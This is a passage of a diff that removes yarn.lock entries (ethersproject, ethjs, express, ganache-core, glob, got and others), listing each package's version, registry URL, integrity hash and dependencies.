-    "@ethersproject/networks" "5.1.0"
-    "@ethersproject/pbkdf2" "5.1.0"
-    "@ethersproject/properties" "5.1.0"
-    "@ethersproject/providers" "5.1.2"
-    "@ethersproject/random" "5.1.0"
-    "@ethersproject/rlp" "5.1.0"
-    "@ethersproject/sha2" "5.1.0"
-    "@ethersproject/signing-key" "5.1.0"
-    "@ethersproject/solidity" "5.1.0"
-    "@ethersproject/strings" "5.1.0"
-    "@ethersproject/transactions" "5.1.1"
-    "@ethersproject/units" "5.1.0"
-    "@ethersproject/wallet" "5.1.0"
-    "@ethersproject/web" "5.1.0"
-    "@ethersproject/wordlists" "5.1.0"
-
-ethjs-unit@0.1.6:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/ethjs-unit/-/ethjs-unit-0.1.6.tgz#c665921e476e87bce2a9d588a6fe0405b2c41699"
-  integrity sha1-xmWSHkduh7ziqdWIpv4EBbLEFpk=
-  dependencies:
-    bn.js "4.11.6"
-    number-to-bn "1.7.0"
-
-ethjs-util@0.1.6, ethjs-util@^0.1.3:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/ethjs-util/-/ethjs-util-0.1.6.tgz#f308b62f185f9fe6237132fb2a9818866a5cd536"
-  integrity sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==
-  dependencies:
-    is-hex-prefixed "1.0.0"
-    strip-hex-prefix "1.0.0"
-
-eventemitter3@4.0.4:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.4.tgz#b5463ace635a083d018bdc7c917b4c5f10a85384"
-  integrity sha512-rlaVLnVxtxvoyLsQQFBx53YmXHDxRIzzTLbdfxqi4yocpSjAxXwkU0cScM5JgSKMqEhrZpnvQ2D9gjylR0AimQ==
-
-events@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
-  integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
-  integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==
-  dependencies:
-    md5.js "^1.3.4"
-    safe-buffer "^5.1.1"
-
-expand-brackets@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-  dependencies:
-    debug "^2.3.3"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    posix-character-classes "^0.1.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-express@^4.14.0:
-  version "4.17.1"
-  resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
-  dependencies:
-    accepts "~1.3.7"
-    array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
-    content-type "~1.0.4"
-    cookie "0.4.0"
-    cookie-signature "1.0.6"
-    debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    finalhandler "~1.1.2"
-    fresh "0.5.2"
-    merge-descriptors "1.0.1"
-    methods "~1.1.2"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
-    range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
-    type-is "~1.6.18"
-    utils-merge "1.0.1"
-    vary "~1.1.2"
-
-ext@^1.1.2:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/ext/-/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244"
-  integrity sha512-Key5NIsUxdqKg3vIsdw9dSuXpPCQ297y6wBjL30edxwPgt2E44WcWBZey/ZvUc6sERLTxKdyCu4gZFmUbk1Q7A==
-  dependencies:
-    type "^2.0.0"
-
-extend-shallow@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-  dependencies:
-    is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-  dependencies:
-    assign-symbols "^1.0.0"
-    is-extendable "^1.0.1"
-
-extend@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-  integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
-
-extglob@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
-  integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==
-  dependencies:
-    array-unique "^0.3.2"
-    define-property "^1.0.0"
-    expand-brackets "^2.1.4"
-    extend-shallow "^2.0.1"
-    fragment-cache "^0.2.1"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-extsprintf@1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
-extsprintf@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-  integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
-
-fake-merkle-patricia-tree@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/fake-merkle-patricia-tree/-/fake-merkle-patricia-tree-1.0.1.tgz#4b8c3acfb520afadf9860b1f14cd8ce3402cddd3"
-  integrity sha1-S4w6z7Ugr635hgsfFM2M40As3dM=
-  dependencies:
-    checkpoint-store "^1.1.0"
-
-fast-deep-equal@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
-
-fetch-ponyfill@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/fetch-ponyfill/-/fetch-ponyfill-4.1.0.tgz#ae3ce5f732c645eab87e4ae8793414709b239893"
-  integrity sha1-rjzl9zLGReq4fkroeTQUcJsjmJM=
-  dependencies:
-    node-fetch "~1.7.1"
-
-fill-range@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-    to-regex-range "^2.1.0"
-
-fill-range@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-  integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
-  dependencies:
-    to-regex-range "^5.0.1"
-
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==
-  dependencies:
-    debug "2.6.9"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    statuses "~1.5.0"
-    unpipe "~1.0.0"
-
-find-replace@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/find-replace/-/find-replace-1.0.3.tgz#b88e7364d2d9c959559f388c66670d6130441fa0"
-  integrity sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A=
-  dependencies:
-    array-back "^1.0.4"
-    test-value "^2.1.0"
-
-find-up@5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
-  integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
-  dependencies:
-    locate-path "^6.0.0"
-    path-exists "^4.0.0"
-
-find-up@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-1.1.2.tgz#6b2e9822b1a2ce0a60ab64d610eccad53cb24d0f"
-  integrity sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=
-  dependencies:
-    path-exists "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-find-yarn-workspace-root@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/find-yarn-workspace-root/-/find-yarn-workspace-root-1.2.1.tgz#40eb8e6e7c2502ddfaa2577c176f221422f860db"
-  integrity sha512-dVtfb0WuQG+8Ag2uWkbG79hOUzEsRrhBzgfn86g2sJPkzmcpGdghbNTfUKGTxymFrY/tLIodDzLoW9nOJ4FY8Q==
-  dependencies:
-    fs-extra "^4.0.3"
-    micromatch "^3.1.4"
-
-find-yarn-workspace-root@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/find-yarn-workspace-root/-/find-yarn-workspace-root-2.0.0.tgz#f47fb8d239c900eb78179aa81b66673eac88f7bd"
-  integrity sha512-1IMnbjt4KzsQfnhnzNd8wUEgXZ44IzZaZmnLYx7D5FZlaHt2gW20Cri8Q+E/t5tIj4+epTBub+2Zxu/vNILzqQ==
-  dependencies:
-    micromatch "^4.0.2"
-
-flat@^5.0.2:
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/flat/-/flat-5.0.2.tgz#8ca6fe332069ffa9d324c327198c598259ceb241"
-  integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==
-
-flow-stoplight@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/flow-stoplight/-/flow-stoplight-1.0.0.tgz#4a292c5bcff8b39fa6cc0cb1a853d86f27eeff7b"
-  integrity sha1-SiksW8/4s5+mzAyxqFPYbyfu/3s=
-
-follow-redirects@^1.12.1:
-  version "1.14.1"
-  resolved "https://registry.nlark.com/follow-redirects/download/follow-redirects-1.14.1.tgz?cache=0&sync_timestamp=1620555300559&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffollow-redirects%2Fdownload%2Ffollow-redirects-1.14.1.tgz#d9114ded0a1cfdd334e164e6662ad02bfd91ff43"
-  integrity sha1-2RFN7Qoc/dM04WTmZirQK/2R/0M=
-
-for-each@^0.3.3, for-each@~0.3.3:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
-  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
-  dependencies:
-    is-callable "^1.1.3"
-
-for-in@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
-foreach@^2.0.5:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/foreach/-/foreach-2.0.5.tgz#0bee005018aeb260d0a3af3ae658dd0136ec1b99"
-  integrity sha1-C+4AUBiusmDQo6865ljdATbsG5k=
-
-forever-agent@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-  integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
-
-form-data@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-3.0.1.tgz#ebd53791b78356a99af9a300d4282c4d5eb9755f"
-  integrity sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.8"
-    mime-types "^2.1.12"
-
-form-data@~2.3.2:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-  integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.6"
-    mime-types "^2.1.12"
-
-forwarded@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84"
-  integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=
-
-fragment-cache@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-  dependencies:
-    map-cache "^0.2.2"
-
-fresh@0.5.2:
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-  integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-fs-extra@^0.30.0:
-  version "0.30.0"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-0.30.0.tgz#f233ffcc08d4da7d432daa449776989db1df93f0"
-  integrity sha1-8jP/zAjU2n1DLapEl3aYnbHfk/A=
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^2.1.0"
-    klaw "^1.0.0"
-    path-is-absolute "^1.0.0"
-    rimraf "^2.2.8"
-
-fs-extra@^4.0.2, fs-extra@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-4.0.3.tgz#0d852122e5bc5beb453fb028e9c0c9bf36340c94"
-  integrity sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^7.0.0, fs-extra@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9"
-  integrity sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-minipass@^1.2.5:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-1.2.7.tgz#ccff8570841e7fe4265693da88936c55aed7f7c7"
-  integrity sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==
-  dependencies:
-    minipass "^2.6.0"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fsevents@~2.3.1:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
-  integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
-
-function-bind@^1.1.1, function-bind@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
-
-functional-red-black-tree@^1.0.1, functional-red-black-tree@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
-  integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
-
-ganache-core@^2.13.2:
-  version "2.13.2"
-  resolved "https://registry.yarnpkg.com/ganache-core/-/ganache-core-2.13.2.tgz#27e6fc5417c10e6e76e2e646671869d7665814a3"
-  integrity sha512-tIF5cR+ANQz0+3pHWxHjIwHqFXcVo0Mb+kcsNhglNFALcYo49aQpnS9dqHartqPfMFjiHh/qFoD3mYK0d/qGgw==
-  dependencies:
-    abstract-leveldown "3.0.0"
-    async "2.6.2"
-    bip39 "2.5.0"
-    cachedown "1.0.0"
-    clone "2.1.2"
-    debug "3.2.6"
-    encoding-down "5.0.4"
-    eth-sig-util "3.0.0"
-    ethereumjs-abi "0.6.8"
-    ethereumjs-account "3.0.0"
-    ethereumjs-block "2.2.2"
-    ethereumjs-common "1.5.0"
-    ethereumjs-tx "2.1.2"
-    ethereumjs-util "6.2.1"
-    ethereumjs-vm "4.2.0"
-    heap "0.2.6"
-    keccak "3.0.1"
-    level-sublevel "6.6.4"
-    levelup "3.1.1"
-    lodash "4.17.20"
-    lru-cache "5.1.1"
-    merkle-patricia-tree "3.0.0"
-    patch-package "6.2.2"
-    seedrandom "3.0.1"
-    source-map-support "0.5.12"
-    tmp "0.1.0"
-    web3-provider-engine "14.2.1"
-    websocket "1.0.32"
-  optionalDependencies:
-    ethereumjs-wallet "0.6.5"
-    web3 "1.2.11"
-
-get-caller-file@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-1.0.3.tgz#f978fa4c90d1dfe7ff2d6beda2a515e713bdcf4a"
-  integrity sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==
-
-get-caller-file@^2.0.5:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
-  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
-
-get-func-name@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/get-func-name/-/get-func-name-2.0.0.tgz#ead774abee72e20409433a066366023dd6887a41"
-  integrity sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=
-
-get-intrinsic@^1.0.2, get-intrinsic@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6"
-  integrity sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-
-get-stream@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-3.0.0.tgz#8e943d1358dc37555054ecbe2edb05aa174ede14"
-  integrity sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=
-
-get-stream@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-  integrity sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==
-  dependencies:
-    pump "^3.0.0"
-
-get-stream@^5.1.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-5.2.0.tgz#4966a1795ee5ace65e706c4b7beb71257d6e22d3"
-  integrity sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==
-  dependencies:
-    pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
-
-getpass@^0.1.1:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-  dependencies:
-    assert-plus "^1.0.0"
-
-glob-parent@~5.1.0:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
-  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
-  dependencies:
-    is-glob "^4.0.1"
-
-glob@7.1.6:
-  version "7.1.6"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
-  integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-glob@^7.1.2, glob@^7.1.3, glob@~7.1.6:
-  version "7.1.7"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-global@~4.4.0:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/global/-/global-4.4.0.tgz#3e7b105179006a323ed71aafca3e9c57a5cc6406"
-  integrity sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==
-  dependencies:
-    min-document "^2.19.0"
-    process "^0.11.10"
-
-globals@^9.18.0:
-  version "9.18.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-9.18.0.tgz#aa3896b3e69b487f17e31ed2143d69a8e30c2d8a"
-  integrity sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==
-
-got@9.6.0:
-  version "9.6.0"
-  resolved "https://registry.yarnpkg.com/got/-/got-9.6.0.tgz#edf45e7d67f99545705de1f7bbeeeb121765ed85"
-  integrity sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==
-  dependencies:
-    "@sindresorhus/is" "^0.14.0"
-    "@szmarczak/http-timer" "^1.1.2"
-    cacheable-request "^6.0.0"
-    decompress-response "^3.3.0"
-    duplexer3 "^0.1.4"
-    get-stream "^4.1.0"
-    lowercase-keys "^1.0.1"
-    mimic-response "^1.0.1"
-    p-cancelable "^1.0.0"
-    to-readable-stream "^1.0.0"
-    url-parse-lax "^3.0.0"
-
-got@^7.1.0:
-  version "7.1.0"
-  resolved "https://registry.yarnpkg.com/got/-/got-7.1.0.tgz#05450fd84094e6bbea56f451a43a9c289166385a"
-  integrity sha512-Y5WMo7xKKq1muPsxD+KmrR8DH5auG7fBdDVueZwETwV6VytKyU9OX/ddpq2/1hp1vIPvVb4T81dKQz3BivkNLw==
-  dependencies:
-    decompress-response "^3.2.0"
-    duplexer3 "^0.1.4"
-    get-stream "^3.0.0"
-    is-plain-obj "^1.1.0"
-    is-retry-allowed "^1.0.0"
-    is-stream "^1.0.0"
-    isurl "^1.0.0-alpha5"
-    lowercase-keys "^1.0.0"
-    p-cancelable "^0.3.0"
-    p-timeout "^1.1.1"
-    safe-buffer "^5.0.1"
-    timed-out "^4.0.0"
-    url-parse-lax "^1.0.0"
-    url-to-options "^1.0.1"
-
-graceful-fs@^4.1.11, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.1.9:
-  version "4.2.6"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
-  integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
-
-growl@1.10.5:
-  version "1.10.5"
-  resolved "https://registry.yarnpkg.com/growl/-/growl-1.10.5.tgz#f2735dc2283674fa67478b10181059355c369e5e"
-  integrity sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==
-
-har-schema@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.3:
-  version "5.1.5"
-  resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd"
-  integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==
-  dependencies:
-    ajv "^6.12.3"
